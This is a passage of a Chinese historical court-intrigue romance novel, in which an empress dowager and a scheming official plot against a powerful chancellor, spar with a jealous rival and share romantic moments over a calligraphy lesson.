徐卿安歪了歪头,笑问道:“娘娘怎么这样看我?” 上官栩不过是 想问他为何对阿筝为什么这般上心罢了。 然而转念一想,他好像也回答过相似的话,只说她看重之人他都会看护好。 又结合起他在狱中对她说的那句话…… 细想这些日子发生的事情,上官栩发现他似乎的确有诸多事情都找到缘由的帮她。 这让她对他的设防都弱下许多,甚至对他也心软了许多。 他这些日子做下的事都不禁让她对他们未来的相处有了新的想法,若真等到苏望付出代价的那一天,他们二人是否有可能共存? 不过这个想法很快就在她心中打消掉了。 到底是见过他肮脏狠戾的那一面,又怎能因为些许温情就对他卸了防备,况且以他的心计来说,这些手段是用来迷惑她的也说不定。 上官栩笑了笑:“就想着徐卿安高升了,想看看徐卿因此有些什么变化?” “哦?那娘娘可看出了什么变化?”徐卿安好奇道。 上官栩莞尔:“自然是精神头看起来更好了,满面容光,颇有诗中所写的春风得意的感觉。” 徐卿安低低笑:“娘娘这话夸的,臣都不好意思了。” 上官栩顺着他调笑的话道:“徐卿何必谦虚,你对阿筝的安排可是将京兆府都瞒过去了。” 徐卿安依旧谦逊道:“这也算不上是臣的功劳,是子阳挑了具和阿筝身型样貌相似女尸,再提前做了些修饰,痕迹又刚好可以用伤口掩盖,这才瞒了过去。” “郎君!郎君!” 二人说话间,屋外突然传来两声喊声,且声音越来越近。 上官栩刚抬起眼望门外看去,来人便径直跨过了门衹,上官栩见其样貌后眉目一扬,当场怔住。 而来人看清房中的上官栩后亦是一滞。 是张凡来了。 屋中瞬间寂静一片,几人张皇地互相看了看。 张凡惊讶得张了张口,反应过来之后立马拱手道:“臣不知娘娘竟在屋中,一时失礼望娘娘恕罪。” 上官栩没管他的请罪,只眉目间仍充满了不解,她先后向张凡和徐卿安看了眼后,将视线落在张凡身上道:“张公私下对他以郎君相称?” 张凡行礼的手紧握了握:“是……这……” “老师!殿下已经知晓我们的关系了,所以不必再刻意以称呼避嫌了。”徐卿安连忙道。 徐卿安目光投去,张凡了然:“原来如此,原来殿下早已知晓臣与二郎的师生关系了。” 上官栩狐疑道:“所以刚才张公以郎君唤徐卿就是为了避嫌?” 张凡扬笑:“是啊,二郎入京前与臣商量,不想因为我们二人的师生关系在官场上让旁人生了闲话,又担心习惯使然,一不小心说漏嘴,所以为了保险起见,就是我们独处时,臣也用‘郎君’唤他。” 徐卿安也补充道:“是,臣私下其实也唤老师为‘张公’,就是为了预防在外面说漏了嘴。” 这话确实有一定的道理,一些称呼若是潜移默化地刻入了人的脑海中,那么难保松懈之时会直接脱口而出。 然而上官栩仍是觉得有些奇怪,却又说不出来奇怪在哪儿。 她先问:“张公深夜来徐府,是有要事要与徐卿相谈么?” 张凡迟疑一瞬,笑道:“也不是什么要事,只是二郎今日升了职,就想着来为他道贺。不然平常我们师生在外,为了避嫌连话说不上几句。” 上官栩微笑:“原是如此。”她看向徐卿安,“今日确实该贺徐卿高升了。” 上官栩最后再看了阿筝一眼后便离开了,她知道张凡和徐卿安有其它话要说,然而看张凡的神情也知道,只要她在那儿一刻,他便不会开口,如此也懒得陪他们耗下去,唤了人就从侧门离去了。 —— 而待上官栩走后,张凡也松了口气道:“真险,今日我原本见夜色已深便省了步子直接从府门进的,没想到她竟然也在这儿,只望她不要因此察觉出什么。” 当初为了二人来往方便,徐卿安的住宅选在了张凡所住的那个坊内,这一片几个坊都是朝官住所选址的青睐之地,徐卿安选择住宅时又恰逢临近的几间的坊里只如今的这个安邑坊有合适的房子,所以他的选择也合乎常理,而坊内不设宵禁,便方便了二人来往。 徐卿安宽慰道:“无妨,张公不必自责,我们刚才那个借口本也合理,她没有理由多想。” “再者说,她又能想到什么地步呢?难道她觉得人死能够复生么?”徐卿安声音越来越低,蓦地一叹。 她应当认为他是死了的吧。 —— 苏府内,苏尚着一身丧服、头带白巾跪坐在火盆前无声烧着纸钱。 苏然面部已由他亲手擦拭干净,新衣也已换上。 苏府房间众多,但如今这灵堂所设的位置却是不起眼的一间。 然而其实连这间灵堂也不应有的。 苏然死时是戴罪之身,依照苏望所秉承的门风家训,为了能让外人面前做样子,他如何会为一个戴罪之人设立灵堂呢? 这灵堂当然是苏尚求来的。 “你今夜打算彻夜为他守灵么?” 灵堂内,风吹火舌的声音倏然响起一声厚重沉静而带沙哑的声音。 苏尚仍旧不停地烧着纸钱,头也没回的:“五哥去的孤苦,最后的时间我想陪着他。” 见身后久久没有身影传来,苏尚再道:“阿爹不来烧烧纸钱,送五哥一程么?” 苏望站在进门位置,双手负于身后,穿的还是他寻常爱穿的绣有暗金的褐色文士长袍。 他语调没有起伏的回了苏尚的话:“我是长辈,给五郎烧纸会折了他的身后福运。” 苏尚哼哼一笑。 “那阿爹便快些回去吧,莫要熬坏了身子。” “你在怨我?” 苏尚无言。 苏望上前道:“你要明白,要你五哥去死的不是我,若不是宫里的那位不安分,今日发生的一切事情都不会发生!可你现在,却反过来怪我?五郎的事我当然不会就此罢休,谁害的我就让谁偿命!” “此事与她无关!”苏望话落,苏尚立马开口,“当时传来你在街上遇刺的消息我就在宫内,就在她身边,我看她神情就知道她事先对行刺之事也并不知情。” 他目色一沉,声音也跟着变冷:“该偿命另有其人。” 苏望便深呼口气:“谁?” “踩着五哥尸首上位的还能有谁?”苏尚一字一字地唤着,“徐晏容,徐卿安。一切的始作俑者都是他!” 他站起来,转过身面向苏望:“阿爹不是一直想我接手您在朝堂上的势力么?好,从明日起,我就来帮您做事,五哥的债我亦同您一同去讨,但是我想请您向我保证一件事……” “您的计划在实施前,请务必,提前告诉我。” 苏望凝视着苏尚,面上浮起一丝几不可察的笑意,悠悠说好。 —— 张凡去找徐卿安无疑就是担心他此番升迁太过高调了,御史中丞倒是不令他意外,但是同兼中书舍人这便有些让人生忧了。 张凡道:“太后此举是太重视您了,还是……想拿您当靶子?” 其实张凡的顾虑徐卿安也不是没有想过,只是其中细节他还并未想透罢了。 他沉吟道:“她如今的意图我实在捉摸不透,按理说她已对我有过试探,便不该对我委以要职才是,可她亦对我说过……” “说过什么?”张凡追问。 说过她爱慕他。 徐卿安喉结滚了滚,道:“说……她愿意与我长久合作,还应了我未来宰相之位。” 张凡拧眉思忖:“然而这些终归只是动动嘴片子罢了。”他好心劝道,“郎君见识过她的手段,还是不要轻信为好。” 徐卿安点头:“嗯,我知道,我会防范着的,从明日开始,我便时常要进宫为皇帝授课,届 时我亦会与她多有相处的机会,我便可以借此试探她到底安的什么心思。” 重回故地,重新看看她的心里到底装了什么。 —— 回宫路上,上官栩一直想着张凡和徐卿安两人刚才的反应。 对徐卿安的中书舍人一职,她确实有其它安排,中书舍人看似是中书要职,但其上有中书侍郎和几大相公压着,其实真正能够主理的事便也不多。 她要试一试他的心,看他是否会因为这一次高升而按耐不住。 不过看张凡今夜来寻他的表情,想来二人也意识到了这一点。 不急,明日便是他入宫授课开始的日子,她有的是机会慢慢试他。 第58章 徐卿安给幼帝的授课和从弘文馆中选来侍讲学士不同,侍讲学士更注重经义讲解,即内容落在书本上,而徐卿安则是将内容落在前朝的实事中,且他也不止于在朝事上对小皇帝进行授课,小皇帝有兴趣的,书画杂文,其中任一,只要徐卿安有所涉猎,小皇帝问了他也都会解答。 头两次的试讲,小皇帝的反响还不错,徐卿安授学任务便是完全定下。 “那位苏家五郎君死后,苏氏近日来在朝堂上都没什么动静,实在有些一反常态,娘娘可要小心。”授课结束后,徐卿安收拾好东西,临去前向上官栩轻声说道。 小皇帝已由人领回了寝殿温习功课。 殿内除上官栩和徐卿安以外只余下几个宫娥。 上官栩听了他的话后对他似笑非笑:“徐卿如今也算在中书省行走,可在里面察觉到他们的动向?” 徐卿安微微一笑,说得惭愧:“几位相公议事通常都爱关起门来,臣实在打听不了什么。” “张公也是如此?” “老师要好一些,但也并未发现异常。” 徐卿安又补充:“想如苏相的手段,就算真要做什么应当也不会太过明显,以至提前露了动向。” 上官栩好心道:“徐卿高升之后也算树大招风,看来得小心啊。” 徐卿安了然:“谢娘娘提醒,臣会小心的。” 说着,他又道:“对了,阿筝近日恢复得不错,娘娘可以放心。臣保证,只要阿筝在臣身边一日,她就不会受到一丝一毫的伤害。” 上官栩从他话中察觉到些许话外之意,不由得问道:“阿筝之前受的是穿腹的伤,又为了将京兆府的人引出城而逃亡了一阵,期间伤口流血不断,你们是用什么方法将她稳定下来的?” 徐卿安意味深长:“自然是提前服了药啊。” “子阳自幼就在五岩山学医,当然是各类医籍都有所涉及,阿筝所面临的那种情况对于他来说,也不过小事一桩罢了,只要提前服好药就能将血流量控制好,也能不至于让她在伤痛中精神受损,遭遇危机。” 上官栩蹙眉:“那可有什么其它的影响?” “嗯……”徐卿安思忖,“子阳的药虽好,但他也说过天下没有无毒的药,所以是要付出些代价的。” “什么代价?” “自然就是要长期服用另一种药压制之前那剂药带来的影响了。” 然而他笑道:“但娘娘放心,这其中利害早在事情发生前臣就已经告知过阿筝了,她也欣然接受。” 上官栩便知他这话何意了。 原来他突然提及阿筝就是为了告诉她,阿筝现在虽伤势渐好,但若无他后续的照拂,也难得长命。 他是看出她欲借他此次升迁将他扔出去当靶子的意图了。 然而纵算两人都心知肚明,上官栩也断不会在他面前漏了怯:“无论如何性命是最重要的。”她笑了笑,“若无荀大夫之前的那剂药,阿筝恐怕连现在服用后续压制之药的机会都没有。” 徐卿安勾唇:“娘娘果然深明大义,臣原还担心娘娘会因臣的做法而怪罪臣,如今倒是让臣吃了一颗定心丸了。” 上官栩回笑:“不过徐卿与我相互定心罢了。” “是么?”徐卿安道,“那不知娘娘接下来的打算是什么?可能提前知会于臣?好让臣有个准备。” 谈到这里,上官栩抬眼望了一旁的青禾,青禾便了然地带了殿中的众人下去。 上官栩这才道:“苏行正的死对苏氏来说是巨大的打击,此前因江南水运而对苏望有所动摇的江南民心,如今也因为苏然的事又坍塌了一次,苏望一向以贤相之名立世,如今他最为看重的名声遭到重创,他定然会想法子进行维护,那这就是我们的机会。” 徐卿安颔首:“此番江南一带的动荡尤其大,他若想修复名声,应当会从江南一带开始,但江南早已有娘娘的势力进驻,想来他们的想法难得实现,而娘娘如今看起来没有旁的动作,但其实对付他们的下一步证据已经在路上了吧?” 上官栩笑了笑:“那几个船商经由苏行正的手转到外面的钱总有去向不是?” 徐卿安蹙眉:“娘娘想要顺藤摸瓜将他们全部拔除?” 上官栩摇摇头:“当然不是,背后接手的那些人地方豪强世家占比不在少数,我若直接对付他们,岂非就是给了他们绳子让他们绑在了一起?所以我要让他们自己闹起来。” 徐卿安便明白了,世家大族内族人宗亲众人,最容易出现的就是钱财分配不均或者身份较低者忌惮家族财产的事情,她这是要扶持那些豪强世家内弱势的一方,如此一来,既能让他们内部消耗,又能在最后收揽新家主的人心。 确实是好计策。 “你呢?你又是什么打算?”上官栩见他久不说话,开口问道。 况且对付苏望的事情步步关键,也总该对一对。 徐卿安悠然道:“臣的想法和娘娘差不多,臣这次再回御史台,将过往地方上御史上来的折子都整理遍,发现其中便有不少是与苏相手下的人相关的,把这些折子的内容整理出来,再想个法子让那些豪强世家里的弱势一方知晓,这又如何不算是与娘娘的法子相得益彰呢?” 上官栩眉目微扬,眼中含笑地看着他,似对他的话颇为赞许:“是,不知不觉竟和徐卿又想到了同一个地方,看来我们之间当真是越来越有默契了。” 听完这话,徐卿安如害羞般垂眸笑了笑,然而再抬眼时看向她的目光却又丝毫没有避讳,直直地就落在了她的眼中。 他道:“能得娘娘欢心,臣当然是求之不得的。” 上官栩瞥开目不再看他,视线落在书案上:“对了,陛下看过你的文章,他说他很喜欢你的字,之后无事你便教一教他吧。” 上官栩承认,若不看他那些阴暗面,他的字和他的外形便的确极为相配,皆有一股清雅俊逸之气。 上一个给她这种感觉的人和字还是那位藏在心底的故人。 “学字?”徐卿安歪头想了想,“练字是一个周期很长的过程,不在一朝一夕,臣每日与陛下相处的时间有限,若是将时间都用在教他习字上恐怕并不妥当。” “臣也见过娘娘的字,清朗挺秀,堪称好字,陛下为何不同娘娘学呢?” 上官栩笑:“你说了清朗挺秀,他想要的不是秀,而是峻。罢了,无非就是小孩子有个想法,这事便等之后合适的时候再说罢,你说得对,你非他书法先生,当下还是按照你原本授学计划来,或者你抽个空写幅字出来,倒是做成字帖,我也算给了他一个交代。” “ 字帖……”徐卿安道,“娘娘,其实臣有一个想法。” 他走到书案边放下手中的东西,重新铺了张宣纸,提笔蘸墨,边写边道:“其实练字无非在与横、竖、撇、捺和笔锋的掌握,陛下这个年纪算初学者,若直接从自字形上开始练习,恐怕效果还没有这样一笔一画来得好。” “而臣自觉臣与娘娘的字在运笔的一些方式上有相似之处,所以臣便想,或许相较于陛下,娘娘更能理解臣在运笔上的处理,又刚好娘娘与陛下常在一起,故而,娘娘不如看一看臣的运笔,记下其中细节之后也可在之后对陛下指导。” 说完,徐卿安停了笔,将身子往后移开。 上官栩果就顺着他的动作,上前去看了他写在纸上的笔画。 见她看得认真,徐卿安横笔伸手过去:“娘娘不如来试一试,看能否写出与臣一样的笔画笔锋。” 上官栩瞧了他一眼,思忖片刻后轻“嗯”了声。 徐卿安旁撤腾出了位置。 然而那纸上的笔画看着容易,但因着多年的自身书写习惯,下笔之后真想完全复刻出来却绝非易事,更别说他留在末尾的那个完整的字了。 上官栩轻叹声:“不行,虽然说到底只是横竖撇捺的问题,但腕力所用的地方不同,写出来就大不一样。” 然而她也不想就这样轻易放弃,便又蘸了墨,另起一列再次尝试。 可是依旧不太对劲。 上官栩蹙起了眉。 然而下一刻,一只温软又骨节分明的手覆上她的手背。 上官栩怔忡看去。 徐卿安没有看她,只目光落在纸面上,覆在她手背上的手与她一起握住笔杆:“娘娘说得对,写字还涉及到腕力的问题,娘娘不妨由此感受一下书写过程中腕力的变化吧。” …… “哦——原来是这样提笔的。”立政殿内,皇后上官栩惊叹道。 头搭在她肩侧的周景知一笑:“当真明白了?” 上官栩慢慢偏过头去看他,心虚地弯眸笑了笑:“应当明白了吧,不就是什么时候该轻,什么时候该重,什么时候该折,什么时候该扬么,而针对每种笔画顿挫亦有不同,要求字形饱满的程度也有不同,只有把握住了其中的诀窍,写出的笔锋才会灵动漂亮。” 周景知点点头:“嗯,总结下来是这样意思。然而这不是写字本来的基础么?每个人若想写出一手好字,都该如此。” 上官栩赞同道:“所以我也是遵照这些‘准则’来的呀。” “哎呀,”她干脆道,“其实我想说的是,我还是不要学你的字好了,就这样,我保留我字中的秀丽,与你字中的峻逸做个区别。” 周景知失笑:“缘何又不想学了?之前可是你说你想学一学我的字的。” “一时兴起嘛。”上官栩抿唇,“后来仔细想了想,觉得我们的字形还是不要太相似为好。” “为何?” “那万一我要是以后模仿你的字迹去发圣旨怎么办?” “圣旨无玉玺印可不作数。” “那我就再拿你的玉玺。” “圣旨向来认印不认字,你既用了玉玺加盖,是不是我的字都没关系。” 上官栩:“……那我就用你的字批奏折!” 周景知:“嗯!有劳夫人为我分担了!” 上官栩看着抿紧唇,深吸一口气。 周景知慢慢扬起了眉。 然而上官栩到底是一口气全呼了出来,她正色道:“不开玩笑了,我之前的确是一时兴起,只是到现在回过神来,我才觉得我们在这方面还是应该有些差异,不然以后若被有心之人利用,可能会有麻烦。” 周景知温声:“你考虑得是。” 但她仍补充道:“不过……这样被人教着写字也挺好玩的。” 周景知憋笑:“我可不吃你的甜枣。” 好歹他努力教了她这么久,结果她说不学就不学了,他知道她说的话就是来宽慰他的。 上官栩嘴硬:“哪有甜枣?我可没有。再说了,不学写字也可以学其它的呀。” “其它的?” “丹青,怎么样?” 他没说话。 “不教我就走啦。” 他了她的手:“这里是立政殿,你去哪儿?” 他忍俊不禁,将她重新揽入怀里,又换了张新纸:“好,学丹青。” —— 上官栩将目光落后桌案上,看着那双手带着她一笔一画地在宣纸上写着字。 徐卿安也走了神,眼眸悄悄看向了她。 他轻声:“娘娘感觉到力度的变化了吗?” 上官栩失神般回看过去。 然而话还未说出口,他便倏然弃了笔,捧住她的脸向她吻来。 “娘娘,苏大人求见。” 殿中两人眼睛陡然一睁。 上官栩猛地将身前的人推开。 第59章 苏尚走进殿内时,上官栩正端坐案前,徐卿安则长身而立,站在殿中。 苏尚在抬眼看了一眼上官栩后就不禁转眸望向了一旁的徐卿安。 徐卿安也正侧头向他颔首意味不明地微微笑了一下。 苏尚将他的神态尽收眼底,只见他浅勾着唇,今日他的唇色比他往日的唇色明显要红不少,且那红不像是血色透出来的红,而像是唇脂被随意抹散后残留下来的红。 就连他的领口都还带着一抹红色。 苏尚眉头一蹙。 而殿中那人的那一抹笑意似乎就让苏尚看见,在他进殿前,那人漫不经心抹去那残留在唇上的唇脂的动作。 苏尚沉眸一瞬。 “殿下,”他向上官栩拱手道,“臣此番前来是有私密之事要与殿下说。” 上官栩沉吟一瞬,看了眼徐卿安,又看了眼他身旁的苏尚。 苏尚垂着头,看不见神情,然而上官栩知道,苏尚也不是爱玩笑,她对徐卿安道:“刚才定好的事,你着手去办吧。” 徐卿安颔首,行礼告退。 待人走后,上官栩先开口道:“叙白要与我说什么?” 苏尚抬眼:“臣想向殿下问一个人。” “何人?” “阿筝。” 殿中空气静了瞬。 见上官栩不说话,苏尚继续道:“当日在长街上对我父亲行刺的,是阿筝吧。” 又不等上官栩的回应,苏尚就自顾自道:“我没有见过那人的尸体,但从那事之后殿下的反应来看,当是阿筝无疑。” “且近几日京兆府里亦有些不寻常的动作,是殿下在想法子换回阿筝的尸首?” “殿下不会是想告诉我,那事和阿筝无关?那殿下可能说清阿筝近日去了何处?”见上官栩神情似开口就要辩解,苏尚便抢先将她堵了回去。 然而在他说完之后,上官栩却没有如他所想的想法狡辩而是直接承认道:“你说得没错,是阿筝,我让人在京兆府中活动也是为了将她的尸首换出来。” 她反问道:“她与我相伴几年,这些身后之后我还是应当替她做的吧?” 苏尚一时怔忡,他没想到她会承认得这么彻底,他原以为她总归会与他周旋一番,然而她不仅没有,甚至还以此反问了他。 苏尚答道:“当然是应当,殿下看重感情,臣一向知道。臣只是觉得殿下派人去做此事不太妥当。” “那你觉得何人去做妥当?” “殿下就没想过臣?” 上官栩眉头狐疑地蹙了蹙。 苏尚:“臣知道殿下担心什么,然而臣与阿筝也有情谊,且不说她到底为何要行那事,我纵是不会原谅她,但她也已身死,我为她收个尸总是可以的吧?” 在知道阿筝活下来之后,上官栩仍未停止在京兆府的动作,因为她知道,要想让阿筝安然地活下去,就得让旁人,尤其是苏望觉得,她这个阿筝的亲近之人都已经相信阿筝已经死了。 只是她没想到的是,苏尚也关注到了这件事。 苏尚会帮她为阿筝“收尸”不奇怪,但奇怪的是他会关注到她在京兆府中的动作。 要知道,按以往的情况看,苏尚在朝中从不参与他职责范围以外的事。 而同样的,关注她动向的举动更像是他父亲苏望要做的事,而这些事在以往都是由苏然负责。 上官栩意识到了什么——苏尚已经开始接手苏家的事,而以他的身 份,他绝非是顶替苏然的位置,他只会比苏然在苏党的权利中更大,也因此,他若想要做什么,也只会比苏然做得更彻底。 上官栩不知道他心能多狠,也不知他到底会不会心狠,就算他以往一贯温和不涉那些党派相争之事,但她从猜到他开始接手苏望权力时,她便不能再对他下判断了。 好在他还只在礼部…… 然而无论如何,上官栩都要稳住他,因为这么多年来的相处,不仅她对他有所了解,他对她也知之颇多。 上官栩道:“当然可以,然而这事缘由你也说了出来,这事情牵扯到你父亲,纵你觉得你可以为她‘收尸’,但最后让你落定下来的话却不能是我说出来。” 是啊,那是刺杀他父亲的人,她又怎能开这个口让他去给那个杀父之人收尸呢? 苏尚默了默,喉结滚后道:“殿下说得对。” 上官栩便松了口气。 苏尚默然片刻后缓声道:“臣今日来寻殿下并非是带着怨恨而来,臣只是想告诉殿下,殿下若有想做却又不方便出面之事,殿下可尽管告诉臣,臣都会帮殿下尽力为之。” 说着,他抬起眼,幽深的静眸中隐有灼热。 上官栩望着:“叙白与我是友人,能得叙白相助是我之幸。” “那殿下就应该离殿外之人远些。” 殿外之人…… 上官栩对苏尚话中所指思忖了一瞬,随即便明白了他指的是何人。 从刚才他入殿时的情景,到他今日来此说的这一番话,尤其是最后一句,这些无疑都指向了一个人—— 徐卿安。 苏然一事中,徐卿安出力不少,就是在旁人看来那件事情发展过程里也有他的诸多身影。 苏然与苏尚从小生活在一起,兄弟间也算情谊深厚,如今苏然身死,苏尚生了怨恨也是在所难免。 只是如今他还找到了她,先是说了阿筝的事,又是话风急转到徐卿安身上,他竟要她也给出态度。 上官栩并未多想地反问:“为何要离他远些?他是朝臣,我若刻意疏离他,岂非是因公废私?” “然而他所行之事并非处处为公,以公谋私亦是大过!” “那他所做何事为以公谋私之举?” 苏尚被问顿住。 上官栩再道:“近日所发生的所有事情,叙白尽可以说说哪件有以公谋私之嫌?” 苏然一案证据确凿,断无可疑之处,苏尚就算对此有气,也不能在这里辩驳。 苏尚回不出话。 她果真开始偏向了他…… 苏尚垂眸拱手道:“臣断无挑拨之意,臣只是希望殿下安好,不受到他人蒙骗。” 他不再给她说话的机会,紧接着又道:“然而好在如今殿下亦有自己的成算,断不会轻易受人蛊惑,臣也就放心了。” 说着,他声音软下来:“阿筝的尸首臣已想法换出,亦为她选了良地,让她入土为安,殿下若之后得出空闲,想去看一看她时,尽可告诉臣,臣来安排便是。” 上官栩垂眸寞然:“是该去看一看她。便由我看看什么日子合适吧。” 苏尚应声:“好。” —— 苏尚退到殿时,徐卿安正和内宦说着下一次给小皇帝授课的安排,让内宦依此准备好哪些东西。 苏尚见到徐卿安时,眉头下意识一蹙。 而徐卿安看到苏尚出来却是抬眼一笑,招呼道:“苏大人这么快就说完话出来了。” 见两位大人物说话,那原本候在徐卿安身边的内宦也识趣告退。 苏尚对徐卿安的招呼面无表情:“就算是要事也言简意赅就好,何须一直耽误时间,打些其它算盘。” 苏尚话中讥讽,徐卿安也不遑多让:“哦?什么算盘?说个话也能打算盘?听苏大人的意思,苏大人深知其中奥义,那不妨赐教一下?” 徐卿安升至正五品之后,官袍颜色也由绿袍变为了绯袍,周身气质由此被衬得尤盛,愈发金质玉相、凛然有仪。 苏尚冷哼一声,对着眼前之人的那一身崭新的绯红官袍上下打量一圈,讥讽道:“我赐教?徐大人以他人之血染得一身红袍,还用得着我来赐教?” 徐卿安故作诧异地跳了一下眉:“嗯?我这红袍是用血染的?” “就算是吧。”不等苏尚多说,徐卿安便埋头轻笑一声,而再抬眼时,眉间又刻意蹙了蹙表情显得甚为厌恶,“然而贼子之血染我衣袍,吾深为恶之、唾之,若再来一次,我定要在他身死之前离他远些,省得受他脏血沾污。” 苏尚胸膛起伏,目带威胁逼近一步,不再做任何掩饰道:“我说过了,让你离她远些!” 徐卿安站在原地,勾唇道:“我也说过了,你当真知道她要的是什么么?” “不管她要得是什么,你都在害她,你都在拉她下地狱!”苏尚压着声音厉声道。 “你以为你是谁?你可知,从她幼时,到她成亲,再到……”苏尚蓦地顿一下,眼睫轻颤,“再到她新寡,她的每一步,都有我陪伴在身边。” “你呢?你有什么?你能到现在这个位置,不过也只是因为你身上恰好有她现下所需的东西,没有那些,你有什么资格站在她的身边?” “不,有这些你也站不到她的身边,她不过就是在利用你,她的心从未在你身上,也不会在你身上。” 徐卿安依旧面泛微笑,甚至因苏尚前面的话而扣紧的拇指也因他的最后一句而慢慢松开:“那又如何?能得娘娘一顾,已是我今生之幸,纵只是利用又怎样?起码对娘娘也是有用的啊。毕竟这世上还有人,就是想被娘娘所用,娘娘也看不上啊。” “她的心在不在我身上也不重要,只要我能看见她,我的心在她的身上,就够了。” “何做那些无谓的虚妄?”徐卿安挑眼看向苏尚,意有所指的,“往往越想求什么就越没有什么,看着别人志得意满了,倒是给自己添不痛快。” 苏尚怒笑:“好,那我倒要好好看看你能得意到几时。” 话落,苏尚一径向前,撞过徐卿安的肩阔步离去。 而徐卿安微昂着头看了看,转身,又回了内殿。 第60章 这内殿是专门给小皇帝用来上课的场所,若非刚才有所耽误,上官栩也早就在授课结束时离去了。 然而就在她要离去时,刚才离殿的徐卿安却又去而复返。 “你怎么回来了?”上官栩诧异道。 她想起苏尚离开的时间,问道:“是苏叙白和你说什么了?” 徐卿安轻点头:“嗯。” 好在刚才与他交谈时她就屏退了众人,所以现在殿中也并无旁人。 上官栩直接问道:“他说什么了?” “他说……娘娘是在利用我。” 上官栩脸上的诧异还未褪尽,眸子便因徐卿安的话瞠了瞠,指尖下意识地攥紧了袖口。 不过她很快将这种如被说中心思的慌乱压下,若无其事道:“所以你折返回来是为了来向我求个答案?” 徐卿安眉头蹙着浅浅一扬,略带卑微之态地反问:“臣可以求么?” 上官栩因他的话怔了一瞬,忽而笑道:“如何求不得?难道往日哪里苛待了你?” 其实上官栩想说的是,难道他求得少了?再大胆的事他都做过,现在却小心翼翼起来。 徐卿安抬眼:“往日自然是没有的,但今日情况不同,娘娘刚听了苏大人的话,臣心中便难免有些忐忑。”说着,他手捂上心口,却又放心地笑了笑道,“不过听娘娘话里的意思,臣的忐忑倒是多余了。” 上官栩因他的神态动作没忍住笑:“那你现在还要问么?” 徐卿安垂下手,笑意不减:“不问了,臣与娘娘之间的关系不应就这样受人挑拨,刚才是臣该罚。” “然而娘娘若是愿意多与臣说几句的话,臣也是欢喜的。” 上官栩轻笑一声,脚下慢悠悠地向他走去,又在他身前一步处停下。 她眉眼柔柔,声音轻缓:“你又说不问,却又说想听,你这样我还真不知我说还是不说,又该说什么。” “难道臣给娘娘的压力这么大?”徐卿安语气带上自省的意味,又恭敬道,“娘娘从心而选就好。” “我从心而选?”上官栩道,“你且扪心自问,我若没给你一个满意的答复,你可因此心中就对我生了间隙?” 徐卿安反问:“我若说不会,娘娘可会相信?”他笑一下,“这样吧,娘娘不知该如何选择,那就由臣来为娘娘提个议可好?” 上官栩挑眉:“嗯哼?” 徐卿安上前一步,将二人仅剩的那点距离侵下,身影将她笼罩。 徐卿安柔声缱绻:“刚才被打断的……” 视线往复在她眼和唇之间,最后定在她双眸前与她对视。 刚才被打断的是什么? 那个吻。 上官栩瞬时明白他的心理,而她看他眉眼间的戏谑便知他当下这句话是挑弄的意味更多,不过他不知道的是,他想要的那些她如今丝毫不会吝啬,甚至她还可以比他想象得更为主动。 上官栩踮起脚尖,伸手圈住他的脖颈让他倾来,又昂首往上,与他的唇轻点了点。 她笑:“可以了?” 他一目不错:“不够。” “不够?” “刚才不是这样的。” “那是怎样的?” 徐卿安扬了扬唇,手揽上她的腰,带着她步步后退直到桌案前,而她的手也在这期间落在他肩前。 他视线始终锁在她的双眸上,待到两人抵到桌案上时便立马俯身向下,而她被他搂箍住,上身动弹不得,一股清雅兰香袭来的同时唇随之覆上。 延续刚才的亲吻,延续刚才的温情,上官栩对他的动作并不意外。 两人几乎同时闭上眼。 气温骤升,气氛氤氲旖旎,大殿四周静谧无声,唯有殿中那方桌案前,衣料摩挲声声,呼吸声起伏交互不止。 温度交互、缠绕,他吻得虽柔,但是也吻得太深,空气迅速被掠夺,待到上官栩反应过来想要逃离时却也早已被他紧紧扣住,她眼前开始发黑,如浮木般感觉自己就要失去倚靠,只能揪紧他肩前的衣物。 终于在她觉得自己就要坚持不住要昏厥过去时,她口中一空,被他放开,紧接着一大股新鲜清凉的空气片面而来。 上官栩胸膛剧烈起伏,如重获新生般不断换着气。 徐卿安与她额与额抵着,如水般的眼眸静静地凝望着她,看她渐渐平息,看她从情.欲中走出。 他噙起笑。 管她现在心中想的谁呢,管她现在心中打得什么算盘呢,如今能得如此厮磨,他只觉餍足更多些。 上官栩缓缓掀起眼眸看他。 她哪能想着谁呢,她哪能在心中打什么算盘呢,刚才那番她只觉力竭,根本无心多想。 徐卿安见她抬眼看来,额头离开她,立直身子,喑哑的声音中带着情.欲的意味:“这下够了。” “那你可以将我放开了?”恢复过来之后,上官栩不仅呼吸平息了下来,神情也慢慢变淡,不过声音依旧是柔的。 徐卿安不甚在意:“当然。” 他放开了她,亦退开一步。 上官栩知道他此刻是满意了,也因此她要趁他心满沉醉的时候尽可能多地说些安抚的话。 “你我之间约定苏叙白并不知晓,然而近日你我走得近,他便难免有了猜测,再加上苏行正的事发生不久,他有些龃龉也是正常,你莫要因此多想。” 徐卿安笑:“娘娘放心,臣深知娘娘对臣的情意,怎会因旁人的一两句话就让你我之间生了嫌隙?那样岂非也太情不真意不切了?” 纵听他话中有几分夸张假意,但起码他面上给了态度,上官栩便也稍许放下心,反正她求的也不过是安他一时的心而已。 她道:“那便好,我总是担心你多想的。” 徐卿安垂眸,因她的话心中的烦闷莫名又生了起来。 他转身向外走出几步。 目光随意落到殿中的一幅画上,徐卿安寻了个话头道:“这幅山水花鸟图画风别致,不知是何人所作?” 上官栩跟着他视线望去。 画风别致? 若说幼童所做的稚嫩之画也称画风别致,那这世间可真就多了去了。 而见他说得这般一本正经,上官栩一时都不知他到底是不是在玩笑:“徐大人是真没看出来,还是故意玩乐?如此稚嫩之作,又在这大殿内,自然是陛下画出来的了。” “陛下?” “你当真没猜出来?” 见他在她说完话之后惊讶尤甚,上官栩便确定了他竟是真的没有想到作画之人是谁。 她跟着奇怪。 而徐卿安还接着问道:“那这画是旁人辅助陛下画出来的,还是他自己独立画的?” 上官栩:“哪种程度算得上辅助?若是代为调色算辅助,那便是有辅助,若是只要他是要自己执笔完成就算独立,那便是独立。” 徐卿安看回来,又抬手指向画道:“这画上颜色也都是陛下自己选的?” 既是山水花鸟图,其上颜色自是丰富多彩的。 上官栩并不隐瞒:“嗯,虽有些花鸟颜色选的不符现实中的那般,但说到底他如今不过孩童年纪,有些天马行空也是正常。” “怎么?你是觉得哪里有不对?”她反问道。 徐卿安放下手,轻轻笑一下道:“没有,就是如娘娘说的那般,初时觉得那些颜色有些奇怪,想着这样的画作如何能收纳在这里。” “你就完全没想过是陛下画的?” “陛下身边名师众多,便想当然地以为他画艺不至于如图上这般。” “然而他到底不过一个八岁孩童。” “是啊,不过一八岁孩童,是臣一时忽视了。” —— 